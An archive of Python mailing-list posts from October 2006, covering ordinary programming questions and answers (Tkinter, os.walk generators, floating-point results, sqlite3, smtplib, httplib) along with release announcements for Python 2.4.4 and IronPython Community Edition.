mail at microcorp.co.za Tue Oct 31 02:33:55 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 31 Oct 2006 09:33:55 +0200 Subject: Tkinter Listbox string formatting question - how to kill a dancing snake ? Message-ID: <02a901c6fcbf$181c51a0$03000080@hendrik> I am populating a listbox from a directory that looks like this: variable_dict = {"funny_long_or_short_variable_name_as_key": (2,45),...... the tuple represents a "card, line" pair. medf is a font object and a forward reference here. I write: for x in variable_dict: txt = x while medf.measure(txt) < 350: txt = txt + ' ' txt = txt + str(variable_dict[x]) and I use the txt string to populate the list box. At first glance, it seems to work, as the names are on the left, and the tuples are in a column... But if you scroll the listbox, the inherent error makes it appear as if the tuple column is a snake doing the twist. I tried using a tab but got a backslash - t in the text, and simply counting spaces is worse than useless. Is there a way to format this so it will line up with *any* font ? I would prefer not to give up and use a fixed width font - it looks so teletypish... A blank char of one pixel width would sort this nicely - but as the hilbilly said when he first saw a rhinoceros: " There aint no such animal! " - or is there? - Hendrik From vatamane at gmail.com Sun Oct 29 17:55:23 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 29 Oct 2006 14:55:23 -0800 Subject: Event driven server that wastes CPU when threaded doesn't In-Reply-To: <7xlkmyzrz9.fsf@ruckus.brouhaha.com> References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> <1162156412.199341.315540@i42g2000cwa.googlegroups.com> <7xlkmyzrz9.fsf@ruckus.brouhaha.com> Message-ID: <1162162523.818382.209640@f16g2000cwb.googlegroups.com> Try the --skip-networking option for mysqld Paul Rubin wrote: > "Nick Vatamaniuc" writes: > > The simplest solution is to change your system and put the DB on the > > same machine thus greatly reducing the time it takes for each DB query > > to complete (avoid the TCP stack completely). > > Since when do any db's let you avoid the TCP stack, even on the same > machine? From uche.ogbuji at gmail.com Fri Oct 6 13:45:30 2006 From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com) Date: 6 Oct 2006 10:45:30 -0700 Subject: PyXML not supported, what to use next? In-Reply-To: <4o814eFdebrhU1@individual.net> References: <4o814eFdebrhU1@individual.net> Message-ID: <1160156730.151608.94660@i3g2000cwc.googlegroups.com> Paul Watson wrote: > It would appear that xml.dom.minidom or xml.sax.* might be the best > thing to use since PyXML is going without support. Best of all it is > included in the base Python distribution, so no addition hunting required. FWIW, easy_install [1] is making things so that more and more installing stuff is not much additional burden. I'll admit that I've hardly found easy_install to be problem-free, but since it seems to be the wave of the future (and a welcome wave at that) I've pushed for support in recent versions of the XML tools I co-develop: 4Suite [2] and Amara [3]. For many people these are now very easy to install. This is the case for some other third-party XML tools as well. [1] http://peak.telecommunity.com/DevCenter/EasyInstall [2] http://4suite.org/ [3] http://uche.ogbuji.net/tech/4suite/amara/ -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://fourthought.com http://copia.ogbuji.net http://4Suite.org Articles: http://uche.ogbuji.net/tech/publications/ From bearophileHUGS at lycos.com Sat Oct 7 05:25:12 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 7 Oct 2006 02:25:12 -0700 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: <1160200171.328938.158800@i42g2000cwa.googlegroups.com> References: <1160168050.069336.61710@i3g2000cwc.googlegroups.com> <1160200171.328938.158800@i42g2000cwa.googlegroups.com> Message-ID: <1160213112.144420.90400@m7g2000cwm.googlegroups.com> Paddy: > You might also put the outer loop calling function advance so many > times, into the advance function: Remember that the autors of the Shootout refuse some changes to the code (like this one), to allow a fair comparison. The rules are strict. I have improved the Psyco version: http://shootout.alioth.debian.org/gp4sandbox/benchmark.php?test=nbody&lang=all If I find the time I'll try to speed up the Python version too following some of the suggestions of this thread. Note that on that site there are 4 different comparisons. The interesting question is how the Lua JIT can be that fast, it's often faster than Psyco: http://shootout.alioth.debian.org/gp4sandbox/benchmark.php?test=all&lang=luajit&lang2=psyco http://luajit.luaforge.net/ Bye, bearophile From python.list at tim.thechases.com Thu Oct 19 15:00:33 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 19 Oct 2006 14:00:33 -0500 Subject: Calling a definition In-Reply-To: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> References: <1161283383.663046.234850@k70g2000cwa.googlegroups.com> Message-ID: <4537CB51.6050909@tim.thechases.com> > I have a piece of code that I need some help with. It is > supposed (in my mind at least) take two arguments, a start > path and a file extension. Then when called it should return > each of the file paths that are found matching the criteria. > It is only returning the first file that it finds. What am I > doing wrong? 1 def findFileExt(startPath, fileExt): 2 for root, dirs, files in os.walk(startPath): 3 for file in files: 4 if file.endswith(fileExt): 5 filePath = str(os.path.join(root, file)) 6 return filePath On line 7, you return from the function which prevents the remainder of the code in the function/loop from being processed. You'd either have go gather them all in a list and then return that gathered list: 1 def findFileExt(startPath, fileExt): + results = [] 2 for root, dirs, files in os.walk(startPath): 3 for file in files: 4 if file.endswith(fileExt): 5 filePath = str(os.path.join(root, file)) -6 return filePath + results.append(filePath) + return results or, you could write it as a generator: 1 def findFileExt(startPath, fileExt): 2 for root, dirs, files in os.walk(startPath): 3 for file in files: 4 if file.endswith(fileExt): 5 filePath = str(os.path.join(root, file)) -7 return filePath + yield filePath which can then be used like for thing in findFileExt(src_path, ext): do_something(thing) -tkc From chrispatton at gmail.com Sun Oct 15 00:23:26 2006 From: chrispatton at gmail.com (Chris) Date: 14 Oct 2006 21:23:26 -0700 Subject: problem with the 'math' module in 2.5? In-Reply-To: References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> Message-ID: <1160886206.594661.321230@e3g2000cwe.googlegroups.com> Oh, ok that explains it. Is that why my 16-bit calculator gives me 0? Carsten Haese wrote: > On 14 Oct 2006 20:33:13 -0700, Chris wrote > > >>> from math import * > > >>> sin(0) > > 0.0 > > >>> sin(pi) > > 1.2246063538223773e-016 > > >>> sin(2*pi) > > -2.4492127076447545e-016 > > >>> cos(0) > > 1.0 > > >>> cos(pi) > > -1.0 > > >>> cos(2*pi) > > 1.0 > > > > The cosine function works fine, but I'm getting weird answers for sine. > > Is this a bug? Am I doing something wrong? > > You're apparently not correctly reading python's answer to sin(pi). > 1.2246063538223773e-016 is the scientific notation for the number > 0.00000000000000012246063538223773, which is pretty darn close to zero, the > result you probably expected. > > You're not getting *exactly* zero because you're not passing in *exactly* pi > but a close approximation of pi. > > I'll leave it as an exercise for the reader to explain why cosine seems to > work fine. Hint: Look at cos(pi/2) and sin(pi/2). > > -Carsten From johnjsal at NOSPAMgmail.com Thu Oct 26 11:13:07 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 15:13:07 GMT Subject: What's the best IDE? In-Reply-To: <1161828498.791044.144040@f16g2000cwb.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> Message-ID: <7g40h.165$1n3.4282@news.tufts.edu> Hakusa at gmail.com wrote: > as I have yet to try Vim - maybe I'll try tomarrow. Warning: Vim isn't something you just "try tomorrow" :) From sanxiyn at gmail.com Thu Oct 26 11:59:01 2006 From: sanxiyn at gmail.com (Sanghyeon Seo) Date: Fri, 27 Oct 2006 00:59:01 +0900 Subject: [ANN] IronPython Community Edition r3 Message-ID: <5b0248170610260859w6a46ca98rb48847be6de08ded@mail.gmail.com> This is the third release of IronPython Community Edition (IPCE). Get it here. http://sparcs.kaist.ac.kr/~tinuviel/download/IPCE-r3.zip This release is also available on SourceForge mirrors near you. http://sourceforge.net/projects/fepy IPCE has a homepage. You can read about licenses and patches there. There's also some new documentations like FePy Library Reference. http://fepy.sourceforge.net/ Changes in this release: * Latest and greatest! Updated to IronPython 1.0.1. Updated to CPython 2.4.4. Compiled with Mono 1.1.18. * Relicensed under the MIT license, for those who found previous license terms (Do What The Fuck You Want To Public License) offensive, or humor-impaired. * New CPython-compatible wrappers. zlib, using System.IO.Compression. hashlib, using System.Security.Cryptography. sqlite3, using generic DB-API module already developed. hashlib and sqlite3 are modules new in CPython 2.5. * Updated CPython-compatible wrappers. Numerous updates to pyexpat. Previously, pyexpat.py was only intended to run ElementTree. It is now compatible enough to run xml.dom and xml.sax codes. * Patches to Python standard library. patch-stdlib-tarfile-null-terminated fixes (arguably) a bug. patch-stdlib-httplib-disable-idna and patch-stdlib-xml-sax-import are workarounds, but changes are minimal and make using httplib and xml.sax much better on IronPython. -- Seo Sanghyeon From hanumizzle at gmail.com Fri Oct 6 03:41:45 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 03:41:45 -0400 Subject: Why do this? In-Reply-To: References: Message-ID: <463ff4860610060041u44e86ae6yb7d417cb5bdb30e6@mail.gmail.com> On 10/6/06, Dennis Lee Bieber wrote: > On Thu, 5 Oct 2006 11:28:08 +0100, "Matthew Warren" > declaimed the following in comp.lang.python: > > > > > Now, I started programming when I was 8 with BBC Basic. > > > Remember what the acronym BASIC stands for? Boobie-drawing Adolescent Symbolic Instruction Code. -- Theerasak From sjmachin at lexicon.net Wed Oct 11 21:32:38 2006 From: sjmachin at lexicon.net (John Machin) Date: 11 Oct 2006 18:32:38 -0700 Subject: python 2.5 & sqlite3 References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> Message-ID: <1160616758.718092.210130@m73g2000cwd.googlegroups.com> Fredrik Lundh wrote: > BartlebyScrivener wrote: > > Fredrik Lundh wrote: > > > >> wasting time on broken distributions? > > > > It's not broken. > > of course it's broken; the official release ships with properly built > and properly tested versions of the stuff you're struggling to install. > > > I like Pythonwin better than IDLE. > > last time I checked, the PythonWin IDE was part of the win32all kit, > available from: > > https://sourceforge.net/project/showfiles.php?group_id=78018&package_id=79063 > > > Either way I need to know where to put the sqlite files, right? > > not if you're using a proper release, no. > > OK, I'll bite; I can't understand what this thread is all about. The Activestate Python 2.5 distribution is not yet available. (1) Why is the effbot saying that a not-yet available distribution is broken? (2) The OP says he has downloaded sqlite*.* from the sqlite.org website ... without saying why he thought he needed to nor which Windows Python he is planning to run it with: (a) Activestate 2.5 -- not-yet-available (b) python.org 2.5-- *includes* the sqlite3 stuff; Pythonwin is as the effbot said in effect only a download and a double-click away ... (c) 2.4 -- needs pysqlite etc What am I missing? Oh, possibly """ I see that Python 2.5 has the "wrapper" but sqlite itself must be downloaded separately. """ Looks like it could be from reading some build-Python-from-source instructions for Unix platforms ... Bewilderedly yours. John From Leo.Kislov at gmail.com Wed Oct 18 20:27:41 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 18 Oct 2006 17:27:41 -0700 Subject: codecs.EncodedFile References: Message-ID: <1161217661.478389.85870@i3g2000cwc.googlegroups.com> Neil Cerutti wrote: > It turns out to be troublesome for my case because the > EncodedFile object translates calls to readline into calls to > read. > > I believe it ought to raise a NotImplemented exception when > readline is called. > > As it is it silently causes interactive applications to > apparently hang forever, and breaks the line-buffering > expectation of non-interactive applications. Does it work if stdin is a pipe? If it works then raising NotImplemented doesn't make sense. > If raising the exception is too much to ask, then at least it > should be documented better. Improving documentation is always a good idea. Meanwhile see my solution how to make readline method work: http://groups.google.com/group/comp.lang.python/msg/f1267dc612314657 From Leo.Kislov at gmail.com Mon Oct 16 03:19:57 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 16 Oct 2006 00:19:57 -0700 Subject: How to send E-mail without an external SMTP server ? In-Reply-To: References: Message-ID: <1160983197.227280.3050@i3g2000cwc.googlegroups.com> On Oct 15, 10:25 pm, "fdu.xia... at gmail.com" wrote: > Hi, > > I just want to send a very simple email from within python. > > I think the standard module of smtpd in python can do this, but I > haven't found documents about how to use it after googleing. Are there > any examples of using smtpd ? I'm not an expert,so I need some examples > to learn how to use it. smtpd is for relaying mail not for sending. What you need it a dns toolkit (search cheeseshop) to map domain name to list of incoming mail servers, and then using stdlib smtplib try to submit the message to them. > Or maybe there is a better way to to this? This won't work if you're behind a strict corporate firewall or if ISP is blocking port 25 outgoing connections. In those cases you _have_ to use an external mail server. From steve at holdenweb.com Thu Oct 5 14:41:11 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 19:41:11 +0100 Subject: tkinter newsgroup or mailing list In-Reply-To: References: Message-ID: Franz Steinhaeusler wrote: > Hello NG, > > I'm asking this, (although I know a mailing list on gmane > gmane.comp.python.tkinter and there is so little traffic > compared to the mailing list of wxPython also mirrored > on gmane gmane.comp.python.wxpython. > > I cannot imagine, that there is no more interest > in exchanging opinions, or is this really the case? > > Is tkinter so simple, that no more questions appear? > Or is it simply so uninteresting? :) > Tkinter questions tend to get asked and answered on this list. Try searching it and you'll see there's still plenty of interest! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From zzf818 at gmail.com Mon Oct 23 06:56:59 2006 From: zzf818 at gmail.com (kelin,zzf818@gmail.com) Date: 23 Oct 2006 03:56:59 -0700 Subject: The Mythical Man-month's pdf file Message-ID: <1161601019.237381.64840@m7g2000cwm.googlegroups.com> Hi, Does anyone have the .pdf file of the book THE MYTHICAL MAN-MONTH? Then could you please send it to me( zzf818 at gmail.com )? Thanks a lot! From toddw at activestate.com Thu Oct 19 13:20:39 2006 From: toddw at activestate.com (Todd Whiteman) Date: Thu, 19 Oct 2006 10:20:39 -0700 Subject: Komodo In-Reply-To: <1161272868.051706.228320@h48g2000cwc.googlegroups.com> References: <1161272868.051706.228320@h48g2000cwc.googlegroups.com> Message-ID: <4537B3E7.9090603@activestate.com> SpreadTooThin wrote: > Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to > find something in my script, > I am unable to change the text it is searching for? > > I am not sure, especially given the limited amount of context, you will likely get a better response by posting a message at: http://support.activestate.com/products/Komodo And giving more details on your exact problem also helps (Mac type: PPC, Intel, Script type, etc...). Best regards, Todd From jjl at pobox.com Tue Oct 3 14:08:02 2006 From: jjl at pobox.com (John J. Lee) Date: 03 Oct 2006 19:08:02 +0100 Subject: httplib and large file uploads References: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com> Message-ID: "Jesse Noller" writes: > Hey All, > > I'm working on an script that will generate a file of N size (where N is > 1k-1gig) in small chunks, in memory (and hash the data on the fly) and pass > it to an httplib object for upload. I don't want to store the file on the > disk, or completely in memory at any time. The problem arises after getting > the http connection (PUT) - and then trying to figure out how to > iterate/hand the chunks I am generating to the httplib connection's send() > call. For example (this code does not work as is): [..] Define "does not work". John From tjreedy at udel.edu Tue Oct 3 14:14:21 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 3 Oct 2006 14:14:21 -0400 Subject: Instantiating an object when the type is only known at runtime References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com> Message-ID: "Samuel" wrote in message news:1159883162.906612.292870 at c28g2000cwb.googlegroups.com... > Hi, > > I am trying to replace the eval() in the following code: > > def myfunc(type, table): > module = __import__(type) > type = 'module' + '.' + type > obj = eval(type) > return obj(row[table.c.name], row[table.c.handle]) > > I am out of ideas. Any hints? Perhaps what you need is a dict 'types' mapping strings to types/classes. Then the last two lines might become return types[type](row[table.c.name], row[table.c.handle]) The trick of mapping names to callables for runtime choice of what to call has several uses. Terry Jan Reedy From anthony at python.org Thu Oct 12 03:33:02 2006 From: anthony at python.org (Anthony Baxter) Date: Thu, 12 Oct 2006 17:33:02 +1000 Subject: RELEASED Python 2.4.4, release candidate 1 Message-ID: <200610121733.11507.anthony@python.org> On behalf of the Python development team and the Python community, I'm happy to announce the release of Python 2.4.4 (release candidate 1). Python 2.4.4 is a bug-fix release. While Python 2.5 is the latest version of Python, we're making this release for people who are still running Python 2.4. See the release notes at the website (also available as Misc/NEWS in the source distribution) for details of the more than 80 bugs squished in this release, including a number found by the Coverity and Klocwork static analysis tools. We'd like to offer our thanks to both these companies for making this available for open source projects. * Python 2.4.4 contains a fix for PSF-2006-001, a buffer overrun * * in repr() of unicode strings in wide unicode (UCS-4) builds. * * See http://www.python.org/news/security/PSF-2006-001/ for more. * Assuming no major problems crop up, a final release of Python 2.4.4 will follow in about a week's time. This will be the last planned release in the Python 2.4 series - future maintenance releases will be in the 2.5 line. For more information on Python 2.4.4, including download links for various platforms, release notes, and known issues, please see: http://www.python.org/2.4.4/ Highlights of this new release include: - Bug fixes. According to the release notes, at least 80 have been fixed. - A fix for PSF-2006-001, a bug in repr() for unicode strings on UCS-4 (wide unicode) builds. Highlights of the previous major Python release (2.4) are available from the Python 2.4 page, at http://www.python.org/2.4/highlights.html Enjoy this release, Anthony Anthony Baxter anthony at python.org Python Release Manager (on behalf of the entire python-dev team) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available URL: From sparkytwobillion at gmail.com Mon Oct 16 22:29:53 2006 From: sparkytwobillion at gmail.com (runningwild) Date: 16 Oct 2006 19:29:53 -0700 Subject: httplib and HTTPS Connections Message-ID: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> Helo, This is the first time I have cared about httplib's HTTPSConnection. In the docs I read "Note: HTTPS support is only available if the socket module was compiled with SSL support." Although my small test script "seems" to work when connecting to a webserver via HTTPS I am really not sure. In other words it worked the first time. I never trust anything that seems to work right the first time. ;-) My question is how can I tell if the criteria in the "NOTE:" is met? How do I know that the socket module was indeed compled with SSL support? The reason this is important is that I am building a credit card payment system. Here is my little test script ======================== Python 2.4.3 import httplib conn = httplib.HTTPSConnection('**********') conn.request('GET' '/index.html') resp = conn.getresponse() page = resp.read() print page From Matthew.Warren at Digica.com Thu Oct 5 08:34:03 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 13:34:03 +0100 Subject: Why do this? In-Reply-To: Message-ID: > [Matthew Warren] > > | Blame outlook and AutoCaps. If number were a number I would write > | > | print "There are",number,"ways to skin a "+furryanimal > > You see now that strikes me as a bit mixed up. Why not simply use? > > print "a", number, "c", string > Habit (not always a good thing..), and it helps keep the distinction as to what is a number and what is s a string. > > Ultimately it's down to you, but I think you may be doing > your code a disservice by so assiduously avoiding the %s-style > of string building. Your last example suggests that you > see the dict-subtitution flavour simply as an alternative to doing > "a" + dict[key1] + "b" + dict[key2] etc. I doubt if I've *ever* > started with the one and ended with the other; rather I've seen that > my code would be more readable if I put/had what I wanted into a > dict (or a dict-like object; just has to support __getitem__). Not quite. I was meaning that where I had things naturally in a dict and found myself concatenating the string, I would now probably use the substitution method. > > An easy example of this is where -- like many, I believe -- I > prefer my > database rows to come in dict-like objects, rather than the > tuples which > the dbapi stipulates. Again, like many, I've used or rolled my own > wrapper > which means I can do things like this, where my dbutils.fetch function > returns some kind of object which traps __getitem__ calls for column > names and returns the appropriate entry in the underlying tuple: > > > import dbutils > db = db_module.connect (...) > for row in dbutils.fetch (db, "SELECT * FROM blah"): > print "Customer %(name)s (%(id)d) has %(n_orders)d > outstanding orders > since %(last_order_date)s" % row > > > > TJG I'm only just really looking into the effects of using things like __getitem__ etc.., I imagine my approach will become more sophisticated once I have looked into them. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From gagsl-py at yahoo.com.ar Wed Oct 25 19:00:16 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 25 Oct 2006 20:00:16 -0300 Subject: Using classes in python In-Reply-To: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com> References: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com> Message-ID: <7.0.1.0.0.20061025195638.05f03bb0@yahoo.com.ar> At Wednesday 25/10/2006 16:19, trevor lock wrote: >I've just started using python and have observed the following : > >class foo: > a=[] > def __init__(self, val): > self.a.append ( val ) It's a common pitfall. As seen just a few days ago: http://groups.google.com/group/comp.lang.python/browse_thread/thread/99e0b1548ce1de81/35b79173cb8ea105?#35b79173cb8ea105 >I was expecting that everytime I created an instance of the class >that a unique dictionary was also created, however it seems that >only one dictionary is created. >How can I create a new dictionary for each instance? Notice that you were using a *list* here, not a *dictionary* -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From steven.klass at gmail.com Tue Oct 10 18:23:07 2006 From: steven.klass at gmail.com (rh0dium) Date: 10 Oct 2006 15:23:07 -0700 Subject: default variable in python $_ Message-ID: <1160518987.056948.205930@i42g2000cwa.googlegroups.com> Hi all, So I have this simple little routine.. say like this.. def foo() return {"a":"b", "b":"c"} if foo(): print "Have foo" Now I want the dictionary item a (ie. b) How can I do it the above way or do I still have to go like this.. def foo() return {"a":"b", "b":"c"} z = foo() if z: print "Have foo" print z['a'] This is where $_ in perl is awesome - There must be a default variable in python right? From martin at v.loewis.de Fri Oct 20 02:24:34 2006 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Fri, 20 Oct 2006 08:24:34 +0200 Subject: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: References: Message-ID: <45386ba2$0$1206$9b622d9e@news.freenet.de> fdu.xiaojf at gmail.com schrieb: > I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need > to uninstall python 2.4.3 first ? > > I'd rather not to do so, because I have installed some other python > packages for python2.4.3. You don't have to uninstall. Installing "on top" will work just fine; both on Windows and Unix (not sure about Mac). Regards, Martin From robin at reportlab.com Wed Oct 25 05:42:33 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 10:42:33 +0100 Subject: unsigned 32 bit arithmetic type? Message-ID: <453F3189.5000502@chamonix.reportlab.co.uk> Hi, just trying to avoid wheel reinvention. I have need of an unsigned 32 bit arithmetic type to carry out a checksum operation and wondered if anyone had already defined such a beast. Our current code works with 32 bit cpu's, but is failing with 64 bit comparisons; it's clearly wrong as we are comparing a number with a negated number; the bits might drop off in 32 bits, but not in 64. -- Robin Becker From fb at frank-buss.de Sun Oct 29 05:14:05 2006 From: fb at frank-buss.de (Frank Buss) Date: Sun, 29 Oct 2006 11:14:05 +0100 Subject: logo design References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com> Message-ID: <29naldwhnyai.3w9rk3brs4ix.dlg@40tude.net> Xah Lee wrote: > I have brought this topic here here before... that i think LISP really > need to have a logo. I'm aware of ?made with alien technology lisp? > web-badge, but that is a lisp-peddling badge, not a lisp logo proper. There are already many different logos, if you don't like the "made with secret alien technology" text: http://www.lisperati.com/logo.html http://www.normal-null.de/lisp_logo.html -- Frank Buss, fb at frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From mail at microcorp.co.za Fri Oct 6 01:33:30 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 6 Oct 2006 07:33:30 +0200 Subject: Python/Tkinter crash. References: <008601c6e865$1104b560$03000080@hendrik> Message-ID: <019b01c6e923$9742c360$03000080@hendrik> "Steve Holden" wrote: > Hendrik van Rooyen wrote: > > "Fredrik Lundh" wrote: > > > >>Eric Brunel wrote: > >> > >> > >>>AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize > >>>the calls from different threads may seem to work (I never tested it > >>>actually), but the safest way I found to use threads with Tkinter was to > >>>call it only from the thread where the main loop executes. > >> > >>the Tkinter binding contains some code that attempts to deal with re- > >>entrant calls, but I don't know/remember to what extent it's actually > >>supposed to work (in other words, if the observed problems are bugs or > >>just limitations). > >> > >>(maybe Martin's memory is better?) > >> > >>anyway, I usually play it safe and make sure to use a single thread to > >>deal with the UI. > >> > >> > > > > > > I must be dense - After I have called mainloop, if I have not started another > > thread to respond to events that are not generated by the user on the screen (in > > this case values of variables to display from the field generated by different > > processes - there is other hardware out there), how do I get control back to do > > the necessary updating? - I suppose I can use the call back after some time > > thingy to implement a polling loop - possibly as Russel Owen suggested - by > > polling a queue - but queues are for between threads - and I have seen here > > somewhere that sockets also want to be the main thread - so that leaves a > > pipe - and I have had bad experiences with pipes that are unblocked, and if I > > don't unblock it, then the gui will grind to a halt....so I need a thread for > > the pipe between processes, and a queue between threads, and a time out based > > polling loop to read the queue, it seems - is it even safe to change a main loop > > variable from another thread? , or should I do it all via commands through a > > queue, implementing a whole goddam serial protocol just between threads? and If > > I don't have another thread to do the timing for the animation bits, then I must > > base that on a timed callback too, and somehow keep state between callbacks... > > now is it ok to call widget command methods from a callback in the same thread, > > or do I have to use invoke? > > > > My head is beginning to hurt... - what was a nice simple threaded implementation > > is turning into a spaghetti monster of timed callbacks - you thought gotos was > > bad? - you aint seen nothing yet... > > > See if this helps: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965 > > It's Jacob Hallen's description of how he solved the problem. > > regards > Steve Thanks Steve - It is the same one Paul Rubin pointed me to and it describes nicely how to get the "worker" thread going, and the queue between it and the GUI thread. In my case, I will have a thread for input, as well as one for output to send commands away. The bit I was complaining about above is the replacement of a thread to do the animation timing with a "stutter" machine inside the gui thread, where the timing is handled by callbacks. A piece of feedback - the stutter machine animation timing is much smoother than the timing based on threaded sleep calls.... - less jittery - looks much better... So I am kind of glad the thing fell over because this implementation is going to be much better. Thank You All. - Hendrik From rpdooling at gmail.com Fri Oct 20 16:59:56 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 20 Oct 2006 13:59:56 -0700 Subject: curious paramstyle qmark behavior In-Reply-To: <1161375830.733818.99070@i42g2000cwa.googlegroups.com> References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> <1161375830.733818.99070@i42g2000cwa.googlegroups.com> Message-ID: <1161377996.049154.118650@b28g2000cwb.googlegroups.com> Thanks, Jon. I'm moving from Access to MySQL. I can query all I want using Python, but so far haven't found a nifty set of forms (ala Access) for easying entering of data into MySQL. My Python is still amateur level and I'm not ready for Tkinkter or gui programming yet. rd ---------- Jon Clements wrote: > > I don't use mx.ODBC, and definately don't use Access (gagging sounds... > but if you're stuck with it, so be it)... > > hth, > > Jon. From http Wed Oct 25 15:47:28 2006 From: http (Paul Rubin) Date: 25 Oct 2006 12:47:28 -0700 Subject: with statements and exceptions References: Message-ID: <7x1wowb2jz.fsf@ruckus.brouhaha.com> John Salerno writes: > def create_sql_script(self): > with open('labtables.sql') as sql_script: > return sql_script.read() > > Does the file still get closed even though I have a return statement > inside the with block? Yes, I think so. I'm not running 2.5 yet but this is supposed to be the idea of the with statement. As for the open failing, you'd deal with that using try/except around the whole thing. http://www.python.org/dev/peps/pep-0343/ explains the with statement in detail. From oliphant.travis at ieee.org Wed Oct 25 06:31:55 2006 From: oliphant.travis at ieee.org (Travis E. Oliphant) Date: Wed, 25 Oct 2006 04:31:55 -0600 Subject: problem with fft periodogram In-Reply-To: <1161766681.731603.88100@m73g2000cwd.googlegroups.com> References: <1161766681.731603.88100@m73g2000cwd.googlegroups.com> Message-ID: aitor69gonzalez at gmail.com wrote: > Hello, > > I am ploting a fft periodogram of my data using a script (found in > internet: http://linuxgazette.net/115/andreasen.html ) that gave me > good results before. There should be a periodicity of >160 in the data > as can be seen by eye. However, this script now says that there is > periodicity of ~9. Can somebody explain me what's wrong? Thank you in > advance. The units are wrong on your period axis. Right now you have them in units of "sample-spacing". So, the plot is telling you that you have a periodicity of ~9 sample spacings. To get it in unites of minutes you need to multiply period by the difference in minutes period_in_minutes = period * (minutes[1] - minutes[0]) Then, plot period_in_minutes versus power. I see a peak around 180 minutes in your data. -Travis From kylotan at gmail.com Mon Oct 23 06:52:02 2006 From: kylotan at gmail.com (Ben Sizer) Date: 23 Oct 2006 03:52:02 -0700 Subject: Using Python scripts in Windows Explorer In-Reply-To: References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> Message-ID: <1161600722.094269.56790@i3g2000cwc.googlegroups.com> MC wrote: > I use this little batch: > > @echo off > cd \dev\python > viewarg.py %* I try that (with viewarg.py renamed, obviously), and get this error: "'defines.py' is not recognized as an internal or external command, operable program or batch file." defines.py is in the same directory as the batch file, but cannot be executed like this. Double-clicking on it works, as expected. -- Ben Sizer From bernard.chhun at gmail.com Wed Oct 4 11:55:43 2006 From: bernard.chhun at gmail.com (Bernard) Date: 4 Oct 2006 08:55:43 -0700 Subject: Making posts to an ASP.NET webform. In-Reply-To: <1159975989.923434.50000@i42g2000cwa.googlegroups.com> References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com> <452134c7$0$14008$edfadb0f@dread15.news.tele.dk> <1159805102.970972.59340@b28g2000cwb.googlegroups.com> <1159975989.923434.50000@i42g2000cwa.googlegroups.com> Message-ID: <1159977342.976043.120060@e3g2000cwe.googlegroups.com> Bernard wrote: > Gabriel Genellina wrote: > > At Monday 2/10/2006 13:05, Bernard wrote: > > > > > > > Has anyone tried what I'm doing? and if you tried how have you > > > > > succeeded getting the data back after the post action? > > > > Use a packet sniffer or something to look at an actual POST that > > works, this way you could see what's missing in your code. > > > > > > Gabriel Genellina > > Softlab SRL > > Thanks for that suggestion Gabriel. It's really a great idea to see > what's going on behind 